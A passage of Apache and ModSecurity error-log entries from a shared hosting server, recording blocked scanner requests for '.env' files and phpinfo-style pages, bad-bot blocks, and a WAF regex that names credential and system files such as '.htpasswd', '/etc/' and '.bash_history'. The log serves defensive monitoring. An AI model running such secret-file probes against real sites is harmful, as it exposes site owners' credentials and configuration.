|^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/forums/.env"] [unique_id "ai3yFymiP80klyS0NnoLdgABUyU"] [Sat Jun 13 18:13:11.605946 2026] [security2:error] [pid 531155:tid 531340] [client 34.74.242.206:1811] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "trendylinedesign.com"] [uri "/robots.txt"] [unique_id "ai3yFymiP80klyS0NnoLeAAAAUE"] [Sat Jun 13 18:13:11.606097 2026] [security2:error] [pid 531155:tid 531340] [client 34.74.242.206:1811] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "trendylinedesign.com"] [uri "/robots.txt"] [unique_id "ai3yFymiP80klyS0NnoLeAAAAUE"] [Sat Jun 13 18:13:11.659844 2026] [security2:error] [pid 531155:tid 531224] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/store/.env"] [unique_id "ai3yFymiP80klyS0NnoLegABHkQ"] [Sat Jun 13 18:13:11.685215 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:13:11.685662 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:13:11.712461 2026] [security2:error] [pid 531155:tid 531330] [client 34.74.242.206:1803] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "trendylinedesign.com"] [uri "/"] [unique_id "ai3yFymiP80klyS0NnoLfgAAATc"] [Sat Jun 13 18:13:11.712575 2026] [security2:error] [pid 531155:tid 531330] [client 34.74.242.206:1803] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "trendylinedesign.com"] [uri "/"] [unique_id "ai3yFymiP80klyS0NnoLfgAAATc"] [Sat Jun 13 18:13:11.792634 2026] [security2:error] [pid 531155:tid 531160] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/shop/.env"] [unique_id "ai3yFymiP80klyS0NnoLggABTwQ"] [Sat Jun 13 18:13:11.927331 2026] [security2:error] [pid 531155:tid 531202] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/cart/.env"] [unique_id "ai3yFymiP80klyS0NnoLjAABRC4"] [Sat Jun 13 18:13:12.179887 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL2RyaXZlcg== [Sat Jun 13 18:13:12.180293 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL2RyaXZlcg== [Sat Jun 13 18:13:12.196347 2026] [security2:error] [pid 531155:tid 531229] [remote 17.22.253.99:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yGCmiP80klyS0NnoLnwABD0k"] [Sat Jun 13 18:13:12.397662 2026] [access_compat:error] [pid 531155:tid 531175] [remote 216.73.216.182:54158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:12.398090 2026] [access_compat:error] [pid 531155:tid 531175] [remote 216.73.216.182:54158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:12.460168 2026] [access_compat:error] [pid 531155:tid 531277] [remote 57.141.14.22:60700] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:12.460453 2026] [access_compat:error] [pid 531155:tid 531277] [remote 57.141.14.22:60700] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:12.633247 2026] [access_compat:error] [pid 531155:tid 531258] [remote 57.141.14.101:35704] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:12.633532 2026] [access_compat:error] [pid 531155:tid 531258] [remote 57.141.14.101:35704] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:12.739934 2026] [access_compat:error] [pid 531155:tid 531237] [remote 57.141.14.8:40353] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:12.740385 2026] [access_compat:error] [pid 531155:tid 531237] [remote 57.141.14.8:40353] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:12.747278 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:13:12.747701 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:13:12.862860 2026] [security2:error] [pid 531155:tid 531228] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/phpinfo.php"] [unique_id "ai3yGCmiP80klyS0NnoLyAABVEg"] [Sat Jun 13 18:13:12.994777 2026] [security2:error] [pid 531155:tid 531196] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/info.php"] [unique_id "ai3yGCmiP80klyS0NnoLzwABYyg"] [Sat Jun 13 18:13:13.113205 2026] [security2:error] [pid 531155:tid 531172] [remote 17.246.15.222:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 222.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yGSmiP80klyS0NnoL2wABKhA"] [Sat Jun 13 18:13:13.127679 2026] [security2:error] [pid 531155:tid 531233] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/php.php"] [unique_id "ai3yGSmiP80klyS0NnoL3AABTE0"] [Sat Jun 13 18:13:13.229938 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:13:13.230395 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:13:13.260000 2026] [security2:error] [pid 531155:tid 531165] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/test.php"] [unique_id "ai3yGSmiP80klyS0NnoL5QABgwk"] [Sat Jun 13 18:13:13.280101 2026] [security2:error] [pid 531155:tid 531367] [client 77.68.83.86:60747] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.joeharrod.com"] [uri "/images/images/cache.php"] [unique_id "ai3yGSmiP80klyS0NnoL5wAAAVw"], referer: www.google.com [Sat Jun 13 18:13:13.285139 2026] [security2:error] [pid 531155:tid 531272] [remote 17.22.253.180:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yGSmiP80klyS0NnoL5gABRHQ"] [Sat Jun 13 18:13:13.358083 2026] [access_compat:error] [pid 531155:tid 531213] [remote 57.141.14.64:53038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:13.358509 2026] [access_compat:error] [pid 531155:tid 531213] [remote 57.141.14.64:53038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:13.391876 2026] [security2:error] [pid 531155:tid 531267] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/i.php"] [unique_id "ai3yGSmiP80klyS0NnoL7AABWG8"] [Sat Jun 13 18:13:13.423445 2026] [access_compat:error] [pid 531155:tid 531239] [remote 57.141.14.95:36281] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:13.423925 2026] [access_compat:error] [pid 531155:tid 531239] [remote 57.141.14.95:36281] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:13.508246 2026] [security2:error] [pid 531155:tid 531348] [client 216.73.216.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_close_error.phpt"] [unique_id "ai3yGSmiP80klyS0NnoL8gAAAUk"] [Sat Jun 13 18:13:13.523787 2026] [security2:error] [pid 531155:tid 531186] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/asdf.php"] [unique_id "ai3yGSmiP80klyS0NnoL9AABfh4"] [Sat Jun 13 18:13:13.609273 2026] [security2:error] [pid 531155:tid 531236] [remote 17.241.75.165:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 165.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yGSmiP80klyS0NnoL-AABUlA"] [Sat Jun 13 18:13:13.655581 2026] [security2:error] [pid 531155:tid 531219] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/phpversion.php"] [unique_id "ai3yGSmiP80klyS0NnoL-wABRz8"] [Sat Jun 13 18:13:13.772410 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:13:13.772903 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:13:13.787721 2026] [security2:error] [pid 531155:tid 531279] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/temp.php"] [unique_id "ai3yGSmiP80klyS0NnoMDQABSHs"] [Sat Jun 13 18:13:13.920025 2026] [security2:error] [pid 531155:tid 531203] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/old/phpinfo.php"] [unique_id "ai3yGSmiP80klyS0NnoMFwABPC8"] [Sat Jun 13 18:13:13.941566 2026] [autoindex:error] [pid 531155:tid 531303] [client 195.96.139.171:36285] AH01276: Cannot serve directory /home4/oyfsxnmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://oyf.sxn.mybluehost.me [Sat Jun 13 18:13:14.052370 2026] [security2:error] [pid 531155:tid 531185] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/infophp.php"] [unique_id "ai3yGimiP80klyS0NnoMIQABSh0"] [Sat Jun 13 18:13:14.110120 2026] [access_compat:error] [pid 531155:tid 531211] [remote 57.141.14.72:30141] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:14.110403 2026] [access_compat:error] [pid 531155:tid 531211] [remote 57.141.14.72:30141] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:14.254196 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 